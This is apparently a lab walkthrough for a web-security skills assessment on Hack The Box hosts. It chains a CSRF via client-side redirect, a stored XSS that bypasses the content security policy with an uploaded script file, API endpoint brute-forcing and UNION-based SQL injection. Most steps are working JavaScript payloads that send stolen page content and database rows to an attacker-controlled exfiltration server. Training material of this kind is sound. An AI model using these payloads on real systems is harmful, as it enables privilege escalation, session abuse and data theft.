Skills Assessment

Question 1: Compromise the target machine.

  1. Enumerate all web applications on the target machine for XSS and CSRF vulnerabilities.

  2. Develop a robust exploit for any identified XSS or CSRF vulnerability.

  3. Execute the exploit to compromise the target machine and obtain the flag.

Skills Assessment Questions

Question 1: Obtain the flag.

  1. Add the necessary vHosts to your /etc/hosts file:

    sudo sh -c 'echo "10.129.233.63 exploitserver.htb vulnerablesite.htb" >> /etc/hosts'
  2. Open Burp Suite, then open Firefox and browse to https://vulnerablesite.htb while intercepting the request. Forward the initial request, then forward the redirect to /login.php and inspect the server response. You may need to remove the Cookie: header before sending the request.

  3. Note that the server's content security policy is set to script-src 'self', HttpOnly and SameSite=Strict for cookies.

  4. Turn off Burp Suite's Intercept and log in to the vulnerable site (https://vulnerablesite.htb) using the credentials htb-stdnt:Academy_student!.

  5. Upon logging in, you will find links on the left-hand side of the page for Dashboard, File Management, User Management, Task Management, Admin Panel, and Logout.

  6. Go to User Management, then click the button Promote the htb-stdnt user.

  7. You will receive the message that "Only moderators and administrators can promote other users!". You need to find a way to have the victim moderator user perform the action of promoting the htb-stdnt user.

  8. Press the Logout button on the left-hand side of the page, and intercept it with Burp Suite.

  9. Forward the request, you will find the next request is to the endpoint /index.php?next=/login.php.

  10. Identifying a client-side redirect, craft a payload on the exploit server (https://exploitserver.htb) forcing the victim to visit this endpoint (modified to redirect to /users.php?userid=3 rather than /login.php, causing a promotion of the htb-stdnt user):

    <script>

document.location = "https://vulnerablesite.htb/index.php?next=/users.php%3fuserid=3"; 11. Save and then Deliver to Victim. Then, log back into the vulnerable site and check the User Management tab, confirming you have the moderator role. 12. With the moderator role, you are now able to add new tasks within the Task Management portion of the vulnerable site, creating an XSS attack vector against the administrator user, who frequently monitors the tasks. 13. Submitting the payload `<script>alert("1")</script>` as a new task will not execute inline javascript. You need to use the File Management page to upload a text file containing the javascript payload, then subsequently submit a payload to the Task Management page that references the text file as the script source. Create a file `alert.txt` with content `alert("1")`: bash echo 'alert("1")' > alert.txt 14. After selecting the `alert.txt` file and pressing Upload, click Access to view the text file along with its URL. 15. Return to Task Management, and add a task that references the uploaded text file as a script: html 16. Confirming the functionality of the XSS vulnerability, repeat this process, uploading a new text file containing a javascript payload to exfiltrate the contents of the Admin Panel (e.g., named `admin_panel.txt`): javascript var xhr = new XMLHttpRequest(); xhr.open('GET', '/admin.php', false); xhr.withCredentials = true; xhr.send();

var exfil = new XMLHttpRequest(); exfil.open("GET", "https://PWNIP:PWNPO/exfil?r=" + btoa(xhr.responseText), false); exfil.send(); ``` 17. Submit the new task. 18. After a few moments, check your exfiltration server to confirm data exfiltration. 19. Decode the Base64 encoded response, which will unveil the flag.

Students will proceed to decode the Base64 encoded response:

echo CjwhRE9DVFlQRSBodG1sPgo8aHRtbCBsYW5nPSJlbiI+CiAgPGhlYWQ+CiAgICA8YmFzZSBocmVmPSIuLyI+CiAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPgogICAgPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLjAsIHNocmluay10by1maXQ9bm8iPgogICAgPG1ldGEgbmFtZT0iZGVzY3JpcHRpb24iIGNvbnRlbnQ9IkNvcmVVSSAtIE9wZW4gU291cmNlIEJvb3RzdHJhcCBBZG1pbiBUZW1wbGxhdGUiPgogICAgPG1ldGEgbmFtZT0iYXV0aG9yIiBjb250ZW50PSIiPgogICAgPHRpdGxlPkNvcmVVSSBGcmVlIEJvb3RzdHJhcCBBZG1pbiBUZW1wbGF0ZTwvdGl0bGU+CiAgICA8bGluayByZWw9Im1hbmlmZXN0IiBocmVmPSJhc3NldHMvZmF2aWNvbi9tYW5pZmVzdC5qc29uIj4KICAgIDxtZXRhIG5hbWU9Im1zYXBwbGljYXRpb24tVGlsZUNvbG9yIiBjb250ZW50PSIjZmZmZmZmIj4KICAgIDxtZXRhIG5hbWU9Im1zYXBwbGljYXRpb24tVGlsZUltYWdlIiBjb250ZW50PSJhc3NldHMvZmF2aWNvbi9tcy1pY29uLTE0NHgxNDQucG5nIj4KICAgIDxtZXRhIG5hbWU9InRoZW1lLWNvbG9yIiBjb250ZW50PSIjZmZmZmZmIj4KICAgIDwhLS0gVmVuZG9ycyBzdHlsZXMtLT4KICAgIDxsaW5rIHJlbD0ic3R5bGVzaGVldCIgaHJlZj0idmVuZG9ycy9zaW1wbGViYXIvY3NzL3NpbXBsZWJhci5jc3MiPgogICAgPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSJjc3MvdmVuZG9ycy9zaW1wbGViYXIuY3NzIj4KICAgIDwhLS0gTWFpbiBzdHlsZXMgZm9yIHRoaXMgYXBwbGljYXRpb24tLT4KICAgIDxsaW5rIGhyZWY9ImNzcy9zdHlsZS5jc3MiIHJlbD0ic3R5bGVzaGVldCI+CiAgICA8IS0tIFdlIHVzZSB0aG9zZSBzdHlsZXMgdG8gc2hvdyBjb2RlIGV4YW1wbGVzLCB5b3Ugc2hvdWxkIHJlbW92ZSB0aGVtIGluIHlvdXIgYXBwbGljYXRpb24uLS0+CiAgICA8bGluayBocmVmPSJjc3MvZXhhbXBsZXMuY3NzIiByZWw9InN0eWxlc2hlZXQiPgogICAgPGxpbmsgcmVsPSJ2ZW5kb3JzL0Bjb3JldWkvY2hhcnRqcy9jc3MvY29yZXVpLWNoYXJ0anMuY3NzIiByZWw9InN0eWxlc2hlZXQiPgogIDwvaGVhZD4KICA8Ym9keT4KICAgIDxkaXYgY2xhc3M9IndyYXBwZXIgZC1mbGV4IGZsZXgtY29sdW1uIG1pbi12aC0xMDAgYmctbGlnaHQiPgogICAgICA8aGVhZGVyIGNsYXNzPSJoZWFkZXIgaGVhZGVyLXN0aWNreSBtYi00Ij4KICAgICAgICA8ZGl2IGNsYXNzPSJoZWFkZXItZGl2aWRlciI+PC9kaXY+CiAgICAgICAgPGRpdiBjbGFzcz0iY29udGFpbmVyLWZsdWlkIj4KICAgICAgICAgIDxuYXYgYXJpYS1sYWJlbD0iYnJlYWRjcnVtYiI+CiAgICAgICAgICAgIDxvbCBjbGFzcz0iYnJlYWRjcnVtYiBteS0wIG1zLTIiPgogICAgICAgICAgICAgIDxsaSBjbGFzcz0iYnJlYWRjcnVtYi1pdGVtIj4KICAgICAgICAgICAgICAgIDwhLS0gaWYgYnJlYWRjcnVtYiBpcyBzaW5nbGUtLT48c3Bhbj5Ib21lPC9zcGFuPgogICAgICAgICAgICAgIDwvbGk+CiAgICAgICAgICAgICAgPGxpIGNsYXNzPSJicmVhZGNydW1iLWl0ZW0gYWN0aXZlIj48c3Bhbj5BZG1pbiBQYW5lbDwvc3Bhbj48L2xpPgogICAgICAgICAgICA8L29sPgogICAgICAgICAgPC9uYXY+CiAgICAgICAgPC9kaXY+CiAgICAgIDwvaGVhZGVyPgogICAgICA8ZGl2IGNsYXNzPSJib2R5IGZsZXgtZ3Jvdy0xIHB4LTMiPgogICAgICAgIDxkaXYgY2xhc3M9ImNvbnRhaW5lci1sZyI+CiAgICAgICAgICA8ZGl2IGNsYXNzPSJjYXJkIG1iLTQiPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJjYXJkLWJvZHkiPgogICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImQtZmxleCBqdXN0aWZ5LWNvbnRlbnQtYmV0d2VlbiI+CiAgICAgICAgICAgICAgICA8ZGl2PgogICAgICAgICAgICAgICAgICA8aDQgY2xhc3M9ImNhcmQtdGl0bGUgbWItMCI+QWRtaW4gUGFuZWwgLSBDdXN0b21lcnM8L2g0PgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgPC9kaXY+CgogICAgICAgICAgICAgIDwhLS0gTG9hZCBkYXRhIGZyb20gQVBJIC0tPgogICAgICAgICAgICAgIDxzY3JpcHQgc3JjPSJqcy9hcGkuanMiPjwvc2NyaXB0PgoKICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJ0YWJsZS1yZXNwb25zaXZlIj4KICAgICAgICAgICAgICAgICAgICA8dGFibGUgY2xhc3M9InRhYmxlIGJvcmRlciBtYi0wIiBpZD0ibXlUYWJsZSI+CiAgICAgICAgICAgICAgICAgICAgICA8dGhlYWQgY2xhc3M9InRhYmxlLWxpZ2h0IGZ3LXNlbWlib2xkIj4KICAgICAgICAgICAgICAgICAgICAgICAgPHRyIGNsYXNzPSJhbGlnbi1taWRkbGUiPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0aD5OYW1lPC90aD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGg+QWRkcmVzczwvdGg+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICA8L3RoZWFkPgogICAgICAgICAgICAgICAgICAgICAgPHRib2R5PgogICAgICAgICAgICAgICAgICAgICAgPC90Ym9keT4KICAgICAgICAgICAgICAgICAgICA8L3RhYmxlPgogICAgICAgICAgICAgICAgICA8L2Rpdj4KCiAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgPC9kaXY+CiAgICAgICAgICA8IS0tIC8uY2FyZC5tYi00LS0+CiAgICAgICAgPC9kaXY+CiAgICAgIDwvZGl2PgogICAgPC9kaXY+CiAgICA8IS0tIENvcmVVSSBhbmQgbmVjZXNzYXJ5IHBsdWdpbnMtLT4KICAgIDxzY3JpcHQgc3JjPSJ2ZW5kb3JzL0Bjb3JldWkvY29yZXVpL2pzL2NvcmV1aS5idW5kbGUubWluLmpzIj48L3NjcmlwdD4KICAgIDxzY3JpcHQgc3JjPSJ2ZW5kb3JzL3NpbXBsZWJhci9qcy9zaW1wbGViYXIubWluLmpzIj48L3NjcmlwdD4KICAgIDwhLS0gUGx1Z2lucyBhbmQgc2NyaXB0cyByZXF1aXJlZCBieSB0aGlzIHZpZXctLT4KICAgIDxzY3JpcHQgc3JjPSJ2ZW5kb3JzL2NoYXJ0LmpzL2pzL2NoYXJ0Lm1pbi5qcyI+PC9zY3JpcHQ+CiAgICA8c2NyaXB0IHNyYz0idmVuZG9ycy9AY29yZXVpL2NoYXJ0anMvanMvY29yZXVpLWNoYXJ0anMuanMiPjwvc2NyaXB0PgogICAgPHNjcmlwdCBzcmM9InZlbmRvcnMvQGNvcmV1aS91dGlscy9qcy9jb3JldWktdXRpbHMuanMiPjwvc2NyaXB0PgogICAgPHNjcmlwdCBzcmM9ImpzL21haW4uanMiPjwvc2NyaXB0PgogICAgPHNjcmlwdCBzcmM9ImpzL2xvZ2ljLmpzIj48L3NjcmlwdD4KCiAgPC9ib2R5Pgo8L2h0bWw+ | base64 -d
The admin panel reveals the location of an `api.js` file. Subsequently, browse to `https://vulnerablesite.htb/js/api.js` and view its contents:

```js
fetch("https://api.vulnerablesite.htb/v1/customers", {
    method: "GET"
}).then((response) => {
    return response.json();
}).then((data) => {
    // add to DOM
    var table = document.getElementById("myTable");
    for (let i = 0; i < data['customers'].length; i++) {
        let obj = data['customers'][i];
        var row = table.insertRow();
        var cell1 = row.insertCell();
        var cell2 = row.insertCell();
        cell1.innerHTML = obj[1];
        cell2.innerHTML = obj[2];
    }
});

This script reveals the location of an API, https://api.vulnerablesite.htb/v1/customers.

Direct access to the customers endpoint is blocked. Therefore, use a brute-forcer to identify other endpoint(s) within the API:

var endpoints = ['access-token','account','accounts','amount','balance','balances','bar','baz','bio','bios','category','channel','chart','circular','company','content','contract','coordinate','credentials','creds','custom','customer','customers','details','dir','directory','dob','email','employee','event','favorite','feed','foo','form','github','gmail','group','history','image','info','item','job','link','links','location','log','login','logins','logs','map','member','members','messages','money','my','name','names','news','option','options','pass','password','passwords','phone','picture','pin','post','prod','production','profile','profiles','publication','record','sale','sales','set','setting','settings','setup','site','test','theme','token','tokens','twitter','union','url','user','username','users','vendor','vendors','version','website','work','yahoo'];

for (i in endpoints){
	try {
		var xhr = new XMLHttpRequest();
		xhr.open('GET', `https://api.vulnerablesite.htb/v1/${endpoints[i]}`, false);
		xhr.send();
		
		if (xhr.status != 404){
			var exfil = new XMLHttpRequest();
			exfil.open("GET", "https://PWNIP:PWNPO/exfil?r=" + btoa(endpoints[i]), false);
			exfil.send();
		}
	} catch {
		// do nothing
	}
}

Checking the exploit server, you will find two endpoints are returned. Decode these responses, identifying customer and customers endpoint:

echo Y3VzdG9tZXI= | base64 -d
echo Y3VzdG9tZXJz | base64 -d

Enumerate the customer endpoint further:

var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://api.vulnerablesite.htb/v1/customer', false);
xhr.send();

var exfil = new XMLHttpRequest();
exfil.open("GET", "https://PWNIP:PWNPO/exfil?r=" + btoa(xhr.responseText), false);
exfil.send();

However, the API returns an error response, indicating a customer ID must be specified. You need to specify an ID:

var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://api.vulnerablesite.htb/v1/customer/1', false);
xhr.send();

var exfil = new XMLHttpRequest();
exfil.open("GET", "https://PWNIP:PWNPO/exfil?r=" + btoa(xhr.responseText), false);
exfil.send();

By specifying an ID, you will see that you can successfully fetch customer information from the database.

Test for SQL injection against the customer endpoint:

var xhr = new XMLHttpRequest();
xhr.open('GET', "https://api.vulnerablesite.htb/v1/customer/a' OR '1'='1' -- ", false);
xhr.send();

var exfil = new XMLHttpRequest();
exfil.open("GET", "https://PWNIP:PWNPO/exfil?r=" + btoa(xhr.responseText), false);
exfil.send();

The API returns the same response as before, confirming the injection vulnerability.

Modify your payload, using the ORDER BY function to discover the number of columns in the table being returned. Test for 3 columns:

var xhr = new XMLHttpRequest();
xhr.open('GET', "https://api.vulnerablesite.htb/v1/customer/1' ORDER BY 3-- ", false);
xhr.send();

var exfil = new XMLHttpRequest();
exfil.open("GET", "https://PWNIP:PWNPO/exfil?r=" + btoa(xhr.responseText), false);
exfil.send();

The API successfully returns user data while ordering column 3.

However, when attempting to order by column 4, the API returns an error. Therefore, you will know that the table has 3 columns.

With this information, use UNION injection to further enumerate the database, beginning by enumerating the backend DBMS in use. Use the @@version payload to test for MySQL:

var xhr = new XMLHttpRequest();
xhr.open('GET', "https://api.vulnerablesite.htb/v1/customer/a' UNION SELECT 1,2,@@version-- ", false);
xhr.send();

var exfil = new XMLHttpRequest();
exfil.open("GET", "https://PWNIP:PWNPO/exfil?r=" + btoa(xhr.responseText), false);
exfil.send();

Decoding the response, you will confirm that the DBMS in use is MySQL.

Next, use the database() payload to find the current database:

var xhr = new XMLHttpRequest();
xhr.open('GET', "https://api.vulnerablesite.htb/v1/customer/a' UNION SELECT 1,2,database()-- ", false);
xhr.send();

var exfil = new XMLHttpRequest();
exfil.open("GET", "https://PWNIP:PWNPO/exfil?r=" + btoa(xhr.responseText), false);
exfil.send();

Decoding the exfiltrated response, you will see the database is named db.

Knowing the name of the database, you now need to enumerate tables:

var xhr = new XMLHttpRequest();
xhr.open('GET', "https://api.vulnerablesite.htb/v1/customer/a' UNION select 1,2,TABLE_NAME from INFORMATION_SCHEMA.TABLES where table_schema='db'-- ", false);
xhr.send();

var exfil = new XMLHttpRequest();
exfil.open("GET", "https://PWNIP:PWNPO/exfil?r=" + btoa(xhr.responseText), false);
exfil.send();

You will note that the API returns only one row of data, and only the files table is revealed.

Enumerate additional tables:

var xhr = new XMLHttpRequest();
xhr.open('GET', "https://api.vulnerablesite.htb/v1/customer/a' UNION select 1,2,TABLE_NAME from INFORMATION_SCHEMA.TABLES where table_schema='db' AND TABLE_NAME !='files'-- ", false);
xhr.send();

var exfil = new XMLHttpRequest();
exfil.open("GET", "https://PWNIP:PWNPO/exfil?r=" + btoa(xhr.responseText), false);
exfil.send();

The customers table is returned next.

Continue the enumeration of tables:

var xhr = new XMLHttpRequest();
xhr.open('GET', "https://api.vulnerablesite.htb/v1/customer/a' UNION select 1,2,TABLE_NAME from INFORMATION_SCHEMA.TABLES where table_schema='db' AND TABLE_NAME !='files' AND TABLE_NAME !='customers'-- ", false);
xhr.send();

var exfil = new XMLHttpRequest();
exfil.open("GET", "https://PWNIP:PWNPO/exfil?r=" + btoa(xhr.responseText), false);
exfil.send();

The users table is returned next.

Continue the enumeration of tables:

var xhr = new XMLHttpRequest();
xhr.open('GET', "https://api.vulnerablesite.htb/v1/customer/a' UNION select 1,2,TABLE_NAME from INFORMATION_SCHEMA.TABLES where table_schema='db' AND TABLE_NAME !='files' AND TABLE_NAME !='customers' AND TABLE_NAME !='users'-- ", false);
xhr.send();

var exfil = new XMLHttpRequest();
exfil.open("GET", "https://PWNIP:PWNPO/exfil?r=" + btoa(xhr.responseText), false);
exfil.send();

The secretdata table is revealed.

Now, enumerate the columns present in the secretdata table:

var xhr = new XMLHttpRequest();
xhr.open('GET', "https://api.vulnerablesite.htb/v1/customer/a'  UNION select 1,2,COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where table_name='secretdata'-- ", false);
xhr.send();

var exfil = new XMLHttpRequest();
exfil.open("GET", "https://PWNIP:PWNPO/exfil?r=" + btoa(xhr.responseText), false);
exfil.send();

The first column revealed is id.

Enumerate additional columns:

var xhr = new XMLHttpRequest();
xhr.open('GET', "https://api.vulnerablesite.htb/v1/customer/a'  UNION select 1,2,COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where table_name='secretdata' AND COLUMN_NAME !='id'-- ", false);
xhr.send();

var exfil = new XMLHttpRequest();
exfil.open("GET", "https://PWNIP:PWNPO/exfil?r=" + btoa(xhr.responseText), false);
exfil.send();

A second column, secretdata is now revealed.

Finally, query the contents of the secretdata column from the secretdata table:

var xhr = new XMLHttpRequest();
xhr.open('GET', "https://api.vulnerablesite.htb/v1/customer/a' UNION SELECT 1,2,secretdata FROM secretdata-- ", false);
xhr.send();

var exfil = new XMLHttpRequest();
exfil.open("GET", "https://PWNIP:PWNPO/exfil?r=" + btoa(xhr.responseText), false);
exfil.send();

Last updated